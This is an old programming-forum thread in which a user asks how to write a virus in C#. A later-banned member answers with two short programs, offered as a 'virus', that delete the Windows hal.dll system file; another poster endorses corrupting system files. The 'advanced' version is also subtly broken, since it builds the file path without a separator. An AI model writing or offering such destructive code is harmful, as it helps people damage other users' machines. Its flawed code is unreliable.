Can Anyone tell how to make virus in C#.net

Go4Expert Member
13Jul2009,21:23   #1
night.rider's Avatar
Can Anyone tell how to make virus in C#.net
Go4Expert Founder
13Jul2009,21:39   #2
shabbir's Avatar
Moved your query to the forum and you submitted this as an article

Deleting everything or editing some system files and corrupting them can also be defined as some virus and do that as that is the simplest thing you can do.
Banned
14Jul2009,06:32   #3
naimish's Avatar
Hey Night Rider, Nice to see one more .NET Person here Soon I will let you know how to make virus in C#.net
Go4Expert Member
14Jul2009,12:27   #4
night.rider's Avatar
thanx sir
Go4Expert Member
14Jul2009,12:39   #5
night.rider's Avatar
r u dere naimish
Banned
14Jul2009,13:20   #6
naimish's Avatar
Yes Buddy
Banned
14Jul2009,13:23   #7
naimish's Avatar
First of all let's decide which kind of virus you want to make ?
Banned
14Jul2009,13:26   #8
naimish's Avatar
For a Sample Basic Virus Program, See the code bolow.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}
Banned
14Jul2009,13:26   #9
naimish's Avatar
A more advanced version:


Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HalDelPro
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll"); /* C# OWNS*/
        }
    }
}
Go4Expert Founder
14Jul2009,13:29   #10
shabbir's Avatar
Quote:
Originally Posted by naimish View Post
For a Sample Basic Virus Program, See the code bolow.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}
Run this program with care.